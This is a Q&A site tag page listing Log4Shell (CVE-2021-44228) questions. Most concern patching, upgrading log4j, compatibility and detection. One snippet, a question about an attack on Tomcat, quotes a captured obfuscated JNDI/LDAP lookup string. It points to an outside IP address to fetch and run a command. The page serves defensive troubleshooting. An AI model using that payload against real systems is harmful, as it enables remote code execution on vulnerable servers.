Questions tagged [log4shell]
For questions regarding the impact of, mitigation strategies and fixing the security issue Log4Shell (CVE-2021-44228) in the Log4j java logging framework.
16
questions
19
votes
2
answers
26k
views
How can I mitigate the Log4Shell vulnerability in version 1.2 of Log4j? [duplicate]
I've got a very old version of Solr and I've been trying to see if it is affected by the Log4Shell vulnerability that everybody is freaking out about (CVE-2021-44228).
The CVE only seems to apply to ...
4
votes
1
answer
297
views
Log4j 2.17 binary backward compatibility - direct replacement
Can I simply replace log4j-core-2.x (e.g. 2.8.2) with 2.17.1 without breaking backward compatibility? In other words, is Log4j project following Semantic Versioning?
Log4J official changelog does not ...
3
votes
5
answers
8k
views
What is the easiest way in Maven pom.xml to upgrade all usages of log4j2 to 2.15.0, including dependencies using log4j2? See CVE-2021-44228
A severe security vulnerability was found for log4j2 <= 2.14.1 (see https://nvd.nist.gov/vuln/detail/CVE-2021-44228). How can I update the pom.xml of a Spring Boot application to make sure that all ...
3
votes
2
answers
397
views
Is Drools Business Rules Management impacted by CVE-2021-44228
We are using Drools for our business rules. Is Drools impacted/expose to the CVE-2021-44228 (Log4Shell or Log4J/Apache/Java vulnerability
3
votes
3
answers
6k
views
Log4j Vulnerability in 3rd party applications like apache zookeeper
Apache log4j zookeeper uses log4j 1.2 which is vulnerable to RCE.
To rectify this issue we planned to exclude log4j 1.2 and include log4j 2.17.1 core and log4j 2.17.1 api in the dependency
It doesnt ...
2
votes
2
answers
3k
views
Issue with log4j 2.17.0 update: ClassNotFoundException SetUtils
After the version bump to log4j 2.17.0 this exception was raised during the unit tests:
java.lang.ClassNotFoundException: org.apache.logging.log4j.core.util.SetUtils
How to work around this problem?
0
votes
1
answer
205
views
Would dropping LDAP callbacks prevent Log4Shell
I am trying to upgrade my log4j version to 2.15.0. This should take me a while as I have to upgrade other stuff as well. My question is does dropping ldap callbacks on both 363 and 636 ports on my ...
0
votes
1
answer
589
views
hotfix securing many log4j jars against log4shell
I have to secure some servers against CVE-2021-44228 aka log4shell. Those machines are running Linux and have a huge amount of log4j jars all over the place, some from app servers, some from legacy ...
0
votes
1
answer
286
views
How to prevent a Java application from executing processes on GNU/Linux?
In other words, are modern GNU/Linux or JVM (ideally Java 11+) able to prevent a Java process from executing other processes?
Issues such as Log4Shell and Spring4Shell seem possible because the JVM ...
0
votes
1
answer
410
views
Is zookeeper 3.6.0 version compatible with kafka 2.2.1 version
We are currently using kafka 2.2.1 version and zookeeper 3.5.9 version. We are trying to upgrade zookeeper to 3.6.0 because of log4j workaround (as zookeeper 3.6 as no explicit dependency with log4j1....
0
votes
2
answers
277
views
Failed to instantiate SLF4J LoggerFactory while upgrading log4j version
I am trying to upgrade the log4j version in kafka and zookeeper docker image from 1.x.x to 2.x.x
Docker commands
RUN rm /zookeeper-3.5.9/lib/log4j-1.2.17.jar
RUN wget https://repo1.maven.org/maven2/...
0
votes
0
answers
145
views
Tomcat9 Log4Shell attack
Cookie.logInvalidHeader A cookie header was received [('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.146.126.156:1389/TomcatBypass/Command/Base64/...
0
votes
1
answer
475
views
log4shell POC : no HTTP redirect
I am trying to understand/reproduce Log4shell vulnerability, using this poc and also information from Marshalsec.
To do that, I've downloaded Ghidra v10.0.4, which is said (on Ghidra download page) to ...
0
votes
1
answer
212
views
How to find log4shell vulnerable classes in my assemblies (jar/ear/war)
Around the current log4shell situation i need a way to find out if i have vulnerable classes in my packaged products.
What is the easiest way to find if the following classes are contained in jar ...
-3
votes
1
answer
872
views
Making unused log4j2 jar libs safe
With regard to mitigating actions for the log4j2 RCE issues. We have several instances, e.g., oracle client installations on windows 2012 r2, where it appears that while a version of a log4j2 jar is ...
-5
votes
1
answer
420
views
Is slf4j affected by log4shell? [closed]
Everyone is looking at log4j. Is the slf4j framework actually also affected by log4shell?
I haven't found anything about it yet.